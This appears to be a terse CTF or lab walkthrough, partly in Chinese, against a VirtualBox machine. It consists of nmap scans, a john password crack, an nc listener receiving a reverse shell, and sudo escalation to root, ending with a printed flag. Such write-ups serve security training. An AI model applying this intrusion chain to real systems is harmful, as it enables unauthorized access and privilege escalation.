nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 08:01 EST Nmap scan report for192.168.56.1 Host is up (0.00065s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for192.168.56.2 Host is up (0.00049s latency). MAC Address: 08:00:27:A4:AE:22 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.12 Host is up (0.00043s latency). MAC Address: 08:00:27:20:BA:03 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.4 Host is up.
1 2 3 4 5 6 7 8 9
nmap -sT -min-rate 10000 -p- 192.168.56.12 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 08:02 EST Nmap scan report for192.168.56.12 Host is up (0.0014s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp filtered ssh 80/tcp open http MAC Address: 08:00:27:20:BA:03 (Oracle VirtualBox virtual NIC)
nmap -sT -sV -O -p- 192.168.56.12 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 08:03 EST Nmap scan report for192.168.56.12 Host is up (0.00063s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.57 ((Ubuntu)) MAC Address: 08:00:27:20:BA:03 (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=1/22%OT=80%CT=1%CU=42133%PV=Y%DS=1%DC=D%G=Y%M=08002 OS:7%TM=6790ECE0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%I OS:I=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW OS:7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88 OS:%W6=FE88)ECN(R=Y%DF=Y%T=3F%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=3F% OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=3F%W=0%S=A%A=Z%F=R OS:%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T= OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0 OS:%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R OS:=Y%DFI=N%T=40%CD=S)
john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is1024forall loaded hashes Will run 8 OpenMP threads Press 'q'or Ctrl-C to abort, almost any other key for status 0g 0:00:01:06 0.05% (ETA: 2025-01-2319:29) 0g/s 137.1p/s 137.1c/s 137.1C/s lexie..celtics admin (?) 1g 0:00:02:21 DONE (2025-01-22 08:37) 0.007061g/s 140.3p/s 140.3c/s 140.3C/s bernadeth..villalobos Use the "--show" option to display all of the cracked passwords reliably Session completed.
nc -lvp 1234 listening on [any] 1234 ... 192.168.56.12: inverse host lookup failed: Host name lookup failure connect to [192.168.56.4] from (UNKNOWN) [192.168.56.12] 41048 bash: cannot set terminal process group (210): Inappropriate ioctl for device bash: no job control in this shell www-data@ubuntu:/var/www/html/images/uploads/logos$
信息收集
系统信息
1 2
www-data@ubuntu:/var/www$ uname -a Linux ubuntu 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 x86_64 x86_64 GNU/Linux
www-data@ubuntu:/$ /usr/lib/polkit-1/polkit-agent-helper-1 /usr/lib/polkit-1/polkit-agent-helper-1 polkit-agent-helper-1: wrong number of arguments. This incident has been logged. FAILURE www-data@ubuntu:/$ sudo -l sudo -l Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on ubuntu: (ALL) NOPASSWD: ALL
???????一步到胃,不过我们还在docker环境下
1 2 3
www-data@ubuntu:/$ sudo id sudo id uid=0(root) gid=0(root) groups=0(root)
UserFlag
本来想直接读取RootFlag的但是root目录下只有user.txt
1 2 3 4
www-data@ubuntu:/$ sudo ls /root user.txt www-data@ubuntu:/$ sudo cat /root/user.txt 4408f370877687429c6ab332e6f560d0
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@airbind:~#